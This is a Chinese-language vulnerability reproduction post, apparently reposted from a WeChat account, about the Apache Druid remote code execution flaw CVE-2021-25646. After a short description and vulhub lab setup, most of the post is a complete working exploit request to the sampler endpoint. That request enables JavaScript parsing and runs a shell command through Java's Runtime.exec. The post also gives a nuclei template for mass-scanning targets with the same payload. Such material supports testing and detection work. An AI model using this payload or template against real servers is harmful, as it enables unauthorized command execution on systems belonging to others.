漏洞描述
Apache Druid包括执行嵌入在各种类型请求中的用户提供的JavaScript代码的能力。这个功能是为了在可信环境下使用,并且默认是禁用的。然而,在Druid 0.20.0及以前的版本中,攻击者可以通过发送一个恶意请求使Druid用内置引擎执行任意JavaScript代码,而不管服务器配置如何,这将导致代码和命令执行漏洞。
靶场搭建-vulhub
cd
/vulhub-master/apache-druid/CVE-2021-25646
docker-compose up
-d
漏洞复现
打开页面
构造payload,id命令执行成功
POST
/druid/indexer/v1/sampler
HTTP/1.1
Host
: 172.16.10.14:8888
Upgrade-Insecure-Requests
: 1
User-Agent
: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept
: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding
: gzip, deflate
Accept-Language
: zh-CN,zh;q=0.9
Connection
: close
Content-Type
: application/json
Content-Length
: 912
{
"type"
:
"index"
,
"spec"
:{
"ioConfig"
:{
"type"
:
"index"
,
"firehose"
:{
"type"
:
"local"
,
"baseDir"
:
"/etc"
,
"filter"
:
"passwd"
}
},
"dataSchema"
:{
"dataSource"
:
"test"
,
"parser"
:{
"parseSpec"
:{
"format"
:
"javascript"
,
"timestampSpec"
:{
},
"dimensionsSpec"
:{
},
"function"
:
"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(["sh","-c","id"]).getInputStream()).useDelimiter("\A").next();return {timestamp:123123,test: a}}"
,
""
:{
"enabled"
:
"true"
}
}
}
}
},
"samplerConfig"
:{
"numRows"
:
10
}
}
nuclei批量验证
id
: Apache-Druid-RCE-CVE-2021-25646
info:
name: Apache Druid 代码执行漏洞(CVE-2021-25646)
author: changge
severity: info
description: Apache Druid包括执行嵌入在各种类型请求中的用户提供的JavaScript代码的能力。这个功能是为了在可信环境下使用,并且默认是禁用的。然而,在Druid 0.20.0及以前的版本中,攻击者可以通过发送一个恶意请求使Druid用内置引擎执行任意JavaScript代码,而不管服务器配置如何,这将导致代码和命令执行漏洞。
reference:
- https://
tags: cve,apache-druid,Druid
requests:
- raw:
- |-
POST /druid/indexer/v1/sampler HTTP/1.1
Host: {{Hostname}}
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; W
in
64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 912
{
"type"
:
"index"
,
"spec"
:{
"ioConfig"
:{
"type"
:
"index"
,
"firehose"
:{
"type"
:
"local"
,
"baseDir"
:
"/etc"
,
"filter"
:
"passwd"
}
},
"dataSchema"
:{
"dataSource"
:
"test"
,
"parser"
:{
"parseSpec"
:{
"format"
:
"javascript"
,
"timestampSpec"
:{
},
"dimensionsSpec"
:{
},
"function"
:
"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(["sh","-c","id"]).getInputStream()).useDelimiter("\A").next();return {timestamp:123123,test: a}}"
,
""
:{
"enabled"
:
"true"
}
}
}
}
},
"samplerConfig"
:{
"numRows"
:10
}
}
matchers-condition: and
matchers:
-
type
: word
part: body
words:
-
'uid'
-
type
: status
status:
- 200
github poc总汇地址:https://github.com/AYcg/poc
原文始发于微信公众号(AY长歌):Apache Druid 代码执行漏洞(CVE-2021-25646)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论